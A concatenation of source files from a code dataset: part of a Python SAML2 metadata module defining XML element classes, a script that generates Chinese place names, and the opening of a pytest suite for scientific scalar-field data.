_attributes = saml.Attribute._attributes.copy()\n _attributes['isRequired'] = 'is_required'\n\n def __init__(self, name=None, name_format=None, friendly_name=None,\n attribute_value=None, is_required=None, text=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for RequestedAttribute\n\n Args:\n name: Name attribute\n name_format: NameFormat attribute\n friendly_name: FriendlyName attribute\n attribute_value: AttributeValue elements\n is_required: isRequired attribute\n text: str The text data in the this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n saml.Attribute.__init__(self, name=name, name_format=name_format,\n friendly_name=friendly_name,\n attribute_value=attribute_value)\n\n self.is_required = is_required\n self.text = text\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef RequestedAttributeFromString(xml_string):\n return saml2.CreateClassFromXMLString(RequestedAttribute, xml_string)\n\n\nclass ServiceName(localizedName):\n \"\"\"The md:ServiceName element\"\"\"\n _tag = 'ServiceName'\n _namespace = MD_NAMESPACE\n _children = localizedName._children.copy()\n _attributes = localizedName._attributes.copy()\n\n def __init__(self, lang=None, text=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for ServiceName\n\n Args:\n lang: xml:lang attribute\n text: str The text data in the this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n localizedName.__init__(self, lang=lang)\n \n self.text = text\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\n\ndef ServiceNameFromString(xml_string):\n return saml2.CreateClassFromXMLString(ServiceName, xml_string)\n\n\nclass ServiceDescription(localizedName):\n \"\"\"The md:ServiceDescription element\"\"\"\n _tag = 'ServiceDescription'\n _namespace = MD_NAMESPACE\n _children = localizedName._children.copy()\n _attributes = localizedName._attributes.copy()\n\n def __init__(self, lang=None, text=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for ServiceDescription\n\n Args:\n lang: xml:lang attribute\n text: str The text data in the this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n localizedName.__init__(self, lang=lang)\n \n self.text = text\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\n\ndef ServiceDescriptionFromString(xml_string):\n return saml2.CreateClassFromXMLString(ServiceDescription, xml_string)\n\n\nclass AttributeConsumingService(saml2.SamlBase):\n \"\"\"The md:AttributeConsumingService element\"\"\"\n \n _tag = 'AttributeConsumingService'\n _namespace = MD_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n _attributes['index'] = 'index'\n _attributes['isDefault'] = 'is_default'\n _children['{%s}ServiceName' % MD_NAMESPACE] = ('service_name', [ServiceName])\n _children['{%s}ServiceDescription' % MD_NAMESPACE] = (\n 'service_description', [ServiceDescription])\n _children['{%s}RequestedAttribute' % MD_NAMESPACE] = (\n 'requested_attribute', [RequestedAttribute])\n _child_order = ['service_name', 'service_description', 'requested_attribute']\n\n def __init__(self, index=None, is_default=None, service_name=None,\n service_description=None, requested_attribute=None,\n text=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for AttributeConsumingService\n\n Args:\n index: index attribute\n is_default: isDefault attribute\n service_name: ServiceName elements\n service_descriptor: ServiceDescriptor elements\n requested_attribute: RequestedAttribute elements\n text: str The text data in the this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n self.index = index\n self.is_default = is_default\n self.service_name = service_name or []\n self.service_description = service_description or []\n self.requested_attribute = requested_attribute or []\n self.text = text\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef AttributeConsumingServiceFromString(xml_string):\n return saml2.CreateClassFromXMLString(AttributeConsumingService, xml_string)\n\n\nclass SPSSODescriptor(SSODescriptor):\n \"\"\"The md:SPSSODescriptor element\"\"\"\n\n _tag = 'SPSSODescriptor'\n _namespace = MD_NAMESPACE\n _children = SSODescriptor._children.copy()\n _attributes = SSODescriptor._attributes.copy()\n _attributes['AuthnRequestsSigned'] = 'authn_requests_signed'\n _attributes['WantAssertionsSigned'] = 'want_assertions_signed'\n _children['{%s}AssertionConsumerService' % MD_NAMESPACE] = (\n 'assertion_consumer_service', [AssertionConsumerService])\n _children['{%s}AttributeConsumingService' % MD_NAMESPACE] = (\n 'attribute_consuming_service', [AttributeConsumingService])\n \n _child_order = ['signature', 'extensions', 'key_descriptor', 'organization',\n 'contact_person', 'artifact_resolution_service',\n 'single_logout_service', 'manage_name_id_service',\n 'name_id_format', 'assertion_consumer_service',\n 'attribute_consuming_service']\n\n def __init__(self, id=None, valid_until=None, cache_duration=None,\n protocol_support_enumeration=None, error_url=None,\n signature=None, extensions=None, key_descriptor=None,\n organization=None, contact_person=None,\n artifact_resolution_service=None,\n single_logout_service=None, manage_name_id_service=None,\n name_id_format=None, authn_requests_signed=None,\n want_assertions_signed=None, assertion_consumer_service=None,\n attribute_consuming_service=None,\n text=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for IDPSSODescriptor\n\n Args:\n id: ID attribute\n valid_until: validUntil attribute\n cache_duration: cacheDuration attribute\n protocol_support_enumeration: protocolSupportEnumeration attribute\n error_url: errorURL attribute\n signature: ds:Signature element\n extensions: Extensions element\n key_descriptor: KeyDescriptor elements\n organization: Organization element\n contact_person: ContactPerson elements\n artifact_resolution_service: ArtifactResolutionService elements\n single_logout_service: SingleLogoutService elements\n manage_name_id_service: ManageNameIDService elements\n name_id_format: NameIDFormat elements\n authn_requests_signed: AuthnRequestsSigned attribute\n want_assertions_signed: WantAssertionsSigned attribute\n assertion_consumer_service: AssertionConsumerService elements\n attribute_consuming_service: AttributeConsumingService elements\n text: str The text data in the this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n SSODescriptor.__init__(\n self, id=id, valid_until=valid_until,\n cache_duration=cache_duration,\n protocol_support_enumeration=protocol_support_enumeration,\n error_url=error_url, signature=signature, extensions=extensions,\n key_descriptor=key_descriptor, organization=organization,\n contact_person=contact_person,\n artifact_resolution_service=artifact_resolution_service,\n single_logout_service=single_logout_service,\n manage_name_id_service=manage_name_id_service,\n name_id_format=name_id_format)\n\n self.authn_requests_signed = authn_requests_signed\n self.want_assertions_signed = want_assertions_signed\n self.assertion_consumer_service = assertion_consumer_service or []\n self.attribute_consuming_service = attribute_consuming_service or []\n self.text = text\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef SPSSODescriptorFromString(xml_string):\n return saml2.CreateClassFromXMLString(SPSSODescriptor, xml_string)\n\n\nclass EntityDescriptor(saml2.SamlBase):\n \"\"\"The md:EntityDescriptor element\"\"\"\n #TODO: AuthnAuthorityDescriptor, AttributeAuthorityDescriptor, PDPDescriptor,\n # AffiliationDescriptor is not implemented yet\n\n _tag = 'EntityDescriptor'\n _namespace = MD_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n _attributes['entityID'] = 'entity_id'\n _attributes['ID'] = 'id'\n _attributes['validUntil'] = 'valid_until'\n _attributes['cacheDuration'] = 'cache_duration'\n _children['{%s}Signature' % ds.DS_NAMESPACE] = ('signature', ds.Signature)\n _children['{%s}Extensions' % MD_NAMESPACE] = ('extensions', Extensions)\n _children['{%s}RoleDescriptor' % MD_NAMESPACE] = (\n 'role_descriptor', [RoleDescriptor])\n _children['{%s}IDPSSODescriptor' % MD_NAMESPACE] = (\n 'idp_sso_descriptor', [IDPSSODescriptor])\n _children['{%s}SPSSODescriptor' % MD_NAMESPACE] = (\n 'sp_sso_descriptor', [SPSSODescriptor])\n _children['{%s}Organization' % MD_NAMESPACE] = ('organization', Organization)\n _children['{%s}ContactPerson' % MD_NAMESPACE] = (\n 'contact_person', [ContactPerson])\n _children['{%s}ContactPerson' % MD_NAMESPACE] = (\n 'contact_person', [ContactPerson])\n _children['{%s}AdditionalMetadataLocation' % MD_NAMESPACE] = (\n 'additional_metadata_location', [AdditionalMetadataLocation])\n _child_order = ['signature', 'extensions', 'role_descriptor',\n 'idp_sso_descriptor', 'sp_sso_descriptor',\n 'organization', 'contact_person',\n 'additional_metadata_location']\n\n def __init__(self, entity_id=None, id=None, valid_until=None,\n cache_duration=None,\n signature=None, extensions=None, role_descriptor=None,\n idp_sso_descriptor=None, sp_sso_descriptor=None,\n organization=None, contact_person=None,\n additional_metadata_location=None,\n text=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for EntityDescriptor\n\n Args:\n entity_id: entityID attribute\n id: ID attribute\n valid_until: validUntil attribute\n cache_duration: cacheDuration attribute\n signature: ds:Signature element\n extensions: Extensions element\n role_descriptor: RoleDescriptor elements\n idp_sso_descriptor: IDPSSODescriptor elements\n sp_sso_descriptor: SPSSODescriptor elements\n organization: Organization element\n contact_person: ContactPerson elements\n additional_metadata_location: AdditionalMetadataLocation elements\n text: str The text data in the this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n self.entity_id = entity_id\n self.id = id\n self.valid_until = valid_until\n self.cache_duration = cache_duration\n self.signature = signature\n self.extensions = extensions\n self.role_descriptor = role_descriptor or []\n self.idp_sso_descriptor = idp_sso_descriptor or []\n self.sp_sso_descriptor = sp_sso_descriptor or []\n self.organization = organization\n self.contact_person = contact_person or []\n self.additional_metadata_location = additional_metadata_location or []\n self.text = text\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n \ndef EntityDescriptorFromString(xml_string):\n return saml2.CreateClassFromXMLString(EntityDescriptor, xml_string)\n\n\nclass EntitiesDescriptor(saml2.SamlBase):\n \"\"\"The md:EntitiesDescriptor element\"\"\"\n\n _tag = 'EntitiesDescriptor'\n _namespace = MD_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n _attributes['name'] = 'name'\n _attributes['ID'] = 'id'\n _attributes['validUntil'] = 'valid_until'\n _attributes['cacheDuration'] = 'cache_duration'\n _children['{%s}Signature' % ds.DS_NAMESPACE] = ('signature', ds.Signature)\n _children['{%s}Extensions' % MD_NAMESPACE] = ('extensions', Extensions)\n _children['{%s}EntityDescriptor' % MD_NAMESPACE] = (\n 'entity_descriptor', [EntityDescriptor])\n _child_order = ['signature', 'extensions', 'entity_descriptor',\n 'entities_descriptor']\n\n def __init__(self, name=None, id=None, valid_until=None,\n cache_duration=None,\n signature=None, extensions=None,\n entity_descriptor=None, entities_descriptor=None,\n text=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for EntitiesDescriptor\n\n Args:\n name: name attribute\n id: ID attribute\n valid_until: validUntil attribute\n cache_duration: cacheDuration attribute\n signature: ds:Signature element\n extensions: Extensions element\n entity_descriptor: EntityDescriptor elements\n entities_descriptor: EntitiesDescriptor elements\n text: str The text data in the this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n self.name = name\n self.id = id\n self.valid_until = valid_until\n self.cache_duration = cache_duration\n self.signature = signature\n self.extensions = extensions\n self.entity_descriptor = entity_descriptor or []\n self.entities_descriptor = entities_descriptor or []\n self.text = text\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\nEntitiesDescriptor._children['{%s}EntitiesDescriptor' % MD_NAMESPACE] = (\n 'entities_descriptor', [EntitiesDescriptor])\n \ndef EntitiesDescriptorFromString(xml_string):\n return saml2.CreateClassFromXMLString(EntitiesDescriptor, xml_string)\n\n\n","repo_name":"driedtoast/identitycert","sub_path":"third-party/lib/common/saml2/md.py","file_name":"md.py","file_ext":"py","file_size_in_byte":46032,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"33175843961","text":"\nfrom constants import *\nimport random\n\nfrom utils.file import File\nfrom utils.widget import only_accept_specific_values, filter_list\n\n# 地名三部分组成:adj_part(形容词部分) + stuff_part(物体部分) + place_part(地方部分)\n# 以下预设三部分的可选列表范围\nadj_part_list = [nature_color, derivative_color, plant_color, stuff_color, climate_adj, fruit_color,]\nstuff_part_list = [climate_stuff, animal_stuff, culture_stuff]\nplace_part_list = [site_place]\n\n\n# 预设一些主题(更好听一些)\ntheme_list = {\n 'fruit_animal': [fruit_color, animal_stuff], # 水果动物主题,比如桃马公园,栗鼠公园,芒鸟公园\n 'plant_animal': [plant_color, animal_stuff], # 植物动物主题,比如茶马乐园,竹鼠乐园,瑰鱼乐园,麦龙乐园\n 'climate': [climate_adj, climate_stuff], # 天气主题,比如清风广场,碧云广场,熏风广场,密云广场\n 'climate_scene': [climate_adj, culture_stuff], # 天气+文化主题,比如弥音社区,朗琴社区,翠棋社区,漫梦社区\n 'random': [sum(adj_part_list, []), sum(stuff_part_list, [])],\n}\n\naccept_theme_list = list(theme_list.keys())\n\n\n# 生成一个地名\n@only_accept_specific_values({0: accept_theme_list})\ndef generate_place_name(theme=None, place=None):\n \"\"\"\n 生成一个地名\n :param theme: 主题:从accept_theme_list中选,可以为空\n :param place: 地方名:比如公园、广场、市\n :return:\n \"\"\"\n if not theme_list.get(theme):\n adj_part = sum(adj_part_list, [])\n stuff_part = sum(stuff_part_list, [])\n else:\n adj_part = theme_list.get(theme)[0]\n stuff_part = theme_list.get(theme)[1]\n\n if not place: # 包含空串\n place = random.choice(site_place)\n\n place_name = random.choice(adj_part) + random.choice(stuff_part) + place\n return place_name\n\n\n# 批量生成地名\n@only_accept_specific_values({0: accept_theme_list})\ndef batch_generate_name(theme='random', place='random', count=10):\n \"\"\"\n :param theme: 主题:从accept_theme_list中选,可以为空\n :param place: 地方名:比如公园、广场、市\n :param count:\n :return:\n \"\"\"\n theme_str = theme or '随机'\n place_str = place or '地名'\n print(f'需要生成{count}个{theme_str}主题的{place_str}')\n name_list = [generate_place_name(theme, place) for i in range(count)]\n name_list = filter_list(name_list, rules=['repetition', 'homophone']) # 列表去重(去除重复词,谐音字)\n print(f\"{theme_str}主题的{len(name_list)}个地名:\", name_list)\n\n File.save_txt(name_list, file='result.txt')\n return name_list\n\n\n# 1. 基本功能:能指定主题生成地名列表\n# 2. 添加随机功能\n# 3. 外部参数限制指定列表输入\n# 4. 列表去重\n# 5. 文件保存\n\n\nif __name__ == '__main__':\n # 根据主题生成并打印随机地名\n selected_theme = 'fruit_animal' # 在这里选择主题,请从accept_theme_list列表中选择,如果None代表随机\n place = '公园' # 如果空代表随机\n result = batch_generate_name(theme=selected_theme, place=place, count=20)\n\n","repo_name":"LemondYoung/good_place_name","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3160,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"10612320461","text":"# Standard and third party libraries\nfrom collections import namedtuple\nfrom copy import deepcopy\nimport copy\nimport numpy as np\nfrom numpy.testing import assert_allclose, assert_equal\nimport os\nimport pytest\nimport random\nfrom uncertainties import unumpy\n\n# PyRs libraries\nfrom pyrs.core.peak_profile_utility import EFFECTIVE_PEAK_PARAMETERS, get_parameter_dtype\nfrom pyrs.core.workspaces import HidraWorkspace\nfrom pyrs.dataobjects.constants import DEFAULT_POINT_RESOLUTION\nfrom pyrs.dataobjects.fields import (aggregate_scalar_field_samples, fuse_scalar_field_samples,\n ScalarFieldSample, _StrainField, StrainField, StrainFieldSingle,\n StressField, stack_scalar_field_samples)\nfrom pyrs.dataobjects.sample_logs import PointList\nfrom pyrs.peaks import PeakCollection, PeakCollectionLite # type: ignore\nfrom pyrs.peaks.peak_collection import to_microstrain\nfrom tests.conftest import assert_allclose_with_sorting\n\nto_megapascal = StressField.to_megapascal\nSampleMock = namedtuple('SampleMock', 'name values errors x y z')\n\nDIRECTIONS = ('11', '22', '33') # directions for the StrainField\n\n\n@pytest.fixture(scope='module')\ndef field_cube_regular():\n r\"\"\"\n A volume, surface, and linear scan in a cube of side 4, with a linear intensity function.\n The sample points represent a regular 3D lattice\n \"\"\"\n def intensity(x, y, z):\n return x + y + z\n\n def assert_checks(field):\n all_finite = np.all(np.isfinite(field.values))\n assert all_finite, 'some values are not finite'\n assert np.allclose(field.values, [intensity(*r) for r in list(field.coordinates)])\n\n values_returned = {'assert checks': assert_checks, 'edge length': 4}\n coordinates = np.transpose(np.mgrid[0:3:4j, 0:3:4j, 0:3:4j], (1, 2, 3, 0)).reshape(-1, 3) # shape = (64, 3)\n values = np.array([intensity(*xyz) for xyz in coordinates])\n errors = 0.1 * values\n vx, vy, vz = list(coordinates.T)\n values_returned['volume scan'] = ScalarFieldSample('stress', values, errors, vx, vy, vz)\n # Surface scan perpendicular to vz\n coordinates_surface = np.copy(coordinates)\n coordinates_surface[:, 2] = 0.0 # each coordinate is now repeated four times\n values = np.array([intensity(*xyz) for xyz in coordinates_surface])\n errors = 0.1 * values\n vx, vy, vz = list(coordinates_surface.T)\n values_returned['surface scan'] = ScalarFieldSample('stress', values, errors, vx, vy, vz)\n # Linear scan along vx\n coordinates_linear = np.copy(coordinates_surface)\n coordinates_linear[:, 1] = 0.0 # each coordinate is now repeated 16 times\n values = np.array([intensity(*xyz) for xyz in coordinates_linear])\n errors = 0.1 * values\n vx, vy, vz = list(coordinates_linear.T)\n values_returned['linear scan'] = ScalarFieldSample('stress', values, errors, vx, vy, vz)\n return values_returned\n\n\n@pytest.fixture(scope='module')\ndef field_cube_with_vacancies():\n r\"\"\"\n A volume scan in a cube of side 6, with a linear intensity function.\n The cube contains 6^3 = 216 points, of which 4^3 = 64 are interior points. We randomly delete\n half the interior points. Thus, the extents of the cube are still 0 and 6.\n \"\"\"\n def intensity(x, y, z):\n return x + y + z\n\n def assert_checks(field):\n all_finite = np.all(np.isfinite(field.values))\n assert all_finite, 'some values are not finite'\n assert np.allclose(field.values, [intensity(*r) for r in list(field.coordinates)])\n\n values_returned = {'assert checks': assert_checks, 'edge length': 6}\n indexes_interior = list(range(64)) # a counter for the sample points not in the surface of the cube\n random.shuffle(indexes_interior) # we will randomly select half of these indexes as vacancies\n indexes_vacancy = indexes_interior[::2] # flag every other interior point index as a vacancy\n index_interior = 0 # start the counter for the interior points\n coordinates = list()\n for vx in range(0, 6):\n vx_is_interior = 0 < vx < 5 # vx is not on the surface of the cube\n for vy in range(0, 6):\n vy_is_interior = 0 < vy < 5 # vx and vy are not on the surface of the cube\n for vz in range(0, 6):\n xyz = [vx, vy, vz]\n if vx_is_interior and vy_is_interior and 0 < vz < 5:\n if index_interior not in indexes_vacancy:\n coordinates.append(xyz)\n index_interior += 1\n else:\n coordinates.append(xyz) # no vacancies on the surface of the cube\n coordinates = np.array(coordinates) # shape = (216 - 32, 3)\n assert len(coordinates) == 6 ** 3 - 32\n vx, vy, vz = list(coordinates.transpose())\n values = np.array([intensity(*r) for r in coordinates])\n errors = 0.1 * values\n values_returned['volume scan'] = ScalarFieldSample('stress', values, errors, vx, vy, vz)\n return values_returned\n\n\n@pytest.fixture(scope='module')\ndef field_surface_with_vacancies():\n r\"\"\"\n A surface scan in a square of side 10, with a linear intensity function.\n The cube contains 10^2 = 100 points, of which 8^2 = 64 are interior points. We randomly delete\n half the interior points. Thus, the extents of the square are still 0 and 10.\n \"\"\"\n def intensity(x, y, z):\n return x + y + z\n\n def assert_checks(field):\n all_finite = np.all(np.isfinite(field.values))\n assert all_finite, 'some values are not finite'\n assert np.allclose(field.values, [intensity(*r) for r in list(field.coordinates)])\n\n values_returned = {'assert checks': assert_checks, 'edge length': 10}\n indexes_interior = list(range(64)) # a counter for the sample points not in the surface of the cube\n random.shuffle(indexes_interior) # we will randomly select half of these indexes as vacancies\n indexes_vacancy = indexes_interior[::2] # flag every other interior point index as a vacancy\n index_interior = 0 # start the counter for the interior points\n coordinates = list()\n for vx in range(0, 10):\n vx_is_interior = 0 < vx < 9 # vx is not on the perimeter of the square\n for vy in range(0, 10):\n vz = 0 # declare a surface scan perpendicular to the vz-axis\n xyz = [vx, vy, vz]\n if vx_is_interior and 0 < vy < 9:\n if index_interior not in indexes_vacancy:\n coordinates.append(xyz)\n index_interior += 1\n else:\n coordinates.append(xyz) # no vacancies on the perimeter of the square\n coordinates = np.array(coordinates) # shape = (100 - 32, 3)\n assert len(coordinates) == 10 ** 2 - 32\n vx, vy, vz = list(coordinates.transpose())\n values = np.array([intensity(*r) for r in coordinates])\n errors = 0.1 * values\n values_returned['surface scan'] = ScalarFieldSample('stress', values, errors, vx, vy, vz)\n return values_returned\n\n\n@pytest.fixture(scope='module')\ndef field_linear_with_vacancies():\n r\"\"\"\n A linear scan in a line of side 100, with a linear intensity function.\n The line contains 100 points, of which 98 interior points. We randomly delete\n 10 interior points. Thus, the extents of the line are still 0 and 100.\n \"\"\"\n def intensity(x, y, z):\n return x + y + z\n\n def assert_checks(field):\n all_finite = np.all(np.isfinite(field.values))\n assert all_finite, 'some values are not finite'\n assert np.allclose(field.values, [intensity(*r) for r in list(field.coordinates)])\n\n values_returned = {'assert checks': assert_checks, 'edge length': 10}\n indexes_interior = list(range(98)) # a counter for the sample points not in the edges of the line\n random.shuffle(indexes_interior) # we will randomly select 10 of these indexes as vacancies\n indexes_vacancy = indexes_interior[0: 10] # flag the first 10 indexes as vacancies\n index_interior = 0 # start the counter for the interior points\n coordinates = list()\n for vx in range(0, 100):\n vy, vz = 0, 0 # declare a linear scan along the vx-axis\n xyz = [vx, vy, vz]\n if 0 < vx < 99: # vx is not on the edge of the linear scan\n if index_interior not in indexes_vacancy:\n coordinates.append(xyz)\n index_interior += 1\n else:\n coordinates.append(xyz) # no vacancies on the perimeter of the square\n coordinates = np.array(coordinates) # shape = (90, 3)\n assert len(coordinates) == 100 - 10\n vx, vy, vz = list(coordinates.transpose())\n values = np.array([intensity(*r) for r in coordinates])\n errors = 0.1 * values\n values_returned['linear scan'] = ScalarFieldSample('stress', values, errors, vx, vy, vz)\n return values_returned\n\n\nclass TestScalarFieldSample:\n\n sample1 = SampleMock('lattice',\n [1.000, 1.010, 1.020, 1.030, 1.040, 1.050, 1.060, 1.070, 1.080, 1.090], # values\n [0.000, 0.001, 0.002, 0.003, 0.004, 0.005, 0.006, 0.007, 0.008, 0.009], # errors\n [0.000, 1.000, 2.000, 3.000, 4.000, 5.000, 6.000, 7.000, 8.000, 9.000], # x\n [0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000], # y\n [0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000] # z\n )\n\n # The last three points of sample1 overlaps with the first three points of sample1\n sample2 = SampleMock('lattice',\n [1.071, 1.081, 1.091, 1.10, 1.11, 1.12, 1.13, 1.14, 1.15, 1.16], # values\n [0.008, 0.008, 0.008, 0.00, 0.01, 0.02, 0.03, 0.04, 0.05, 0.06], # errors\n [7.009, 8.001, 9.005, 10.00, 11.00, 12.00, 13.00, 14.00, 15.00, 16.00], # x\n [0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000], # y\n [0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000] # z\n )\n\n sample3 = SampleMock('strain',\n [1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0], # values\n [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8], # errors\n [0.0, 0.5, 0.0, 0.5, 0.0, 0.5, 0.0, 0.5], # x\n [1.0, 1.0, 1.5, 1.5, 1.0, 1.0, 1.5, 1.5], # y\n [2.0, 2.0, 2.0, 2.0, 2.5, 2.5, 2.5, 2.5], # z\n )\n\n sample4 = SampleMock('strain',\n [float('nan'), 0.1, 0.2, float('nan'), float('nan'), 0.5, 0.6, float('nan')], # values\n [0.0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7], # errors\n [0.0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7], # x\n [0.0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7], # y\n [0.0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7], # z\n )\n\n # Points 2 and 3 overlap\n sample5 = SampleMock('lattice',\n [float('nan'), 1.0, 1.0, 2.0, 3.0, float('nan'), 0.1, 1.1, 2.1, 3.1, 4.1],\n [0.0, 0.10, 0.11, 0.2, 0.3, 0.4, 0.1, 0.1, 0.2, 0.3, 0.4],\n [0.0, 1.000, 1.001, 2.0, 3.0, 4.0, 0.0, 1.0, 2.0, 3.0, 4.0], # x\n [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.0, 1.0, 1.0, 1.0, 1.0], # y\n [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.0, 1.0, 1.0, 1.0, 1.0], # z\n )\n\n def test_init(self):\n assert ScalarFieldSample(*TestScalarFieldSample.sample1)\n assert ScalarFieldSample(*TestScalarFieldSample.sample2)\n assert ScalarFieldSample(*TestScalarFieldSample.sample3)\n sample_bad = list(TestScalarFieldSample.sample1)\n sample_bad[1] = [1.000, 1.010, 1.020, 1.030, 1.040, 1.050, 1.060, 1.070, 1.080] # one less value\n with pytest.raises(AssertionError):\n ScalarFieldSample(*sample_bad)\n\n def test_len(self):\n assert len(ScalarFieldSample(*TestScalarFieldSample.sample1)) == 10\n\n def test_values(self):\n field = ScalarFieldSample(*TestScalarFieldSample.sample1)\n np.testing.assert_equal(field.values, TestScalarFieldSample.sample1.values)\n\n def test_errors(self):\n field = ScalarFieldSample(*TestScalarFieldSample.sample1)\n np.testing.assert_equal(field.errors, TestScalarFieldSample.sample1.errors)\n\n def test_sample(self):\n field = ScalarFieldSample(*TestScalarFieldSample.sample1)\n # Test get\n assert_allclose(unumpy.nominal_values(field.sample), TestScalarFieldSample.sample1.values)\n assert_allclose(unumpy.std_devs(field.sample), TestScalarFieldSample.sample1.errors)\n # Test set\n field.sample *= 2\n assert_allclose(unumpy.nominal_values(field.sample), 2 * np.array(TestScalarFieldSample.sample1.values))\n assert_allclose(unumpy.std_devs(field.sample), 2 * np.array(TestScalarFieldSample.sample1.errors))\n\n def test_point_list(self):\n field = ScalarFieldSample(*TestScalarFieldSample.sample1)\n np.testing.assert_equal(field.point_list.vx, TestScalarFieldSample.sample1.x)\n\n def test_coordinates(self):\n sample = list(TestScalarFieldSample.sample1)\n field = ScalarFieldSample(*sample)\n np.testing.assert_equal(field.coordinates, np.array(sample[3:]).transpose())\n\n def test_x(self):\n field = ScalarFieldSample(*TestScalarFieldSample.sample1)\n np.testing.assert_equal(field.x, TestScalarFieldSample.sample1.x)\n\n def test_y(self):\n field = ScalarFieldSample(*TestScalarFieldSample.sample1)\n np.testing.assert_equal(field.y, TestScalarFieldSample.sample1.y)\n\n def test_z(self):\n field = ScalarFieldSample(*TestScalarFieldSample.sample1)\n np.testing.assert_equal(field.z, TestScalarFieldSample.sample1.z)\n\n def test_isfinite(self):\n field = ScalarFieldSample(*TestScalarFieldSample.sample4).isfinite\n for attribute in ('values', 'errors', 'x', 'y', 'z'):\n assert getattr(field, attribute) == pytest.approx([0.1, 0.2, 0.5, 0.6])\n\n def test_sort(self):\n field = ScalarFieldSample(*TestScalarFieldSample.sample3)\n field.sort()\n assert field.x == pytest.approx([0, 0, 0, 0, 0.5, 0.5, 0.5, 0.5])\n assert field.y == pytest.approx([1, 1, 1.5, 1.5, 1, 1, 1.5, 1.5])\n assert field.z == pytest.approx([2, 2.5, 2, 2.5, 2, 2.5, 2, 2.5])\n assert field.values == pytest.approx([1, 5, 3, 7, 2, 6, 4, 8])\n assert field.errors == pytest.approx([0.1, 0.5, 0.3, 0.7, 0.2, 0.6, 0.4, 0.8])\n\n def test_interpolated_sample_regular(self, field_cube_regular):\n r\"\"\"\n Test with an input regular grid. No interpolation should be necessary because\n the regular grid built using the extents of the field coincide with the input\n sample points\n \"\"\"\n # A volumetric sample in a cube of side 4, with an linear intensity function\n field = field_cube_regular['volume scan']\n interpolated = field.interpolated_sample(method='linear', keep_nan=True, resolution=DEFAULT_POINT_RESOLUTION,\n criterion='min_error')\n assert len(interpolated) == field_cube_regular['edge length'] ** 3 # sample list spans a cube\n assert interpolated.point_list.is_equal_within_resolution(field.point_list,\n resolution=DEFAULT_POINT_RESOLUTION)\n field_cube_regular['assert checks'](interpolated)\n # A surface scan\n field = field_cube_regular['surface scan'] # 64 points, each point repeated once\n interpolated = field.interpolated_sample(method='linear', keep_nan=True, resolution=DEFAULT_POINT_RESOLUTION,\n criterion='min_error')\n assert len(interpolated) == field_cube_regular['edge length'] ** 2 # sample list spans a square\n # `field` has 64 points, each point repeated four times. `interpolated` has 16 points, each is unique\n assert interpolated.point_list.is_equal_within_resolution(field.point_list,\n resolution=DEFAULT_POINT_RESOLUTION)\n field_cube_regular['assert checks'](interpolated)\n # A linear scan\n field = field_cube_regular['linear scan'] # 64 points, each point is repeated 16 times\n interpolated = field.interpolated_sample(method='linear', keep_nan=True, resolution=DEFAULT_POINT_RESOLUTION,\n criterion='min_error')\n assert len(interpolated) == field_cube_regular['edge length'] # sample list spans a line of sampled points\n # `field` has 64 points, each point repeated 16 times. `interpolated` has 4 points, each is unique\n assert interpolated.point_list.is_equal_within_resolution(field.point_list,\n resolution=DEFAULT_POINT_RESOLUTION)\n field_cube_regular['assert checks'](interpolated)\n\n def test_interpolated_sample_cube_vacancies(self, field_cube_with_vacancies):\n r\"\"\"\n Test with an input regular grid spanning a cube, where some interior points are missing.\n `field` has 32 vacancies, thus a total of 6^3 - 32 points. Interpolated, on the other hand, has no\n vacancies. The reason lies in how the extents are calculated. See the example below for a square of\n side four on the [vx, vy] surface 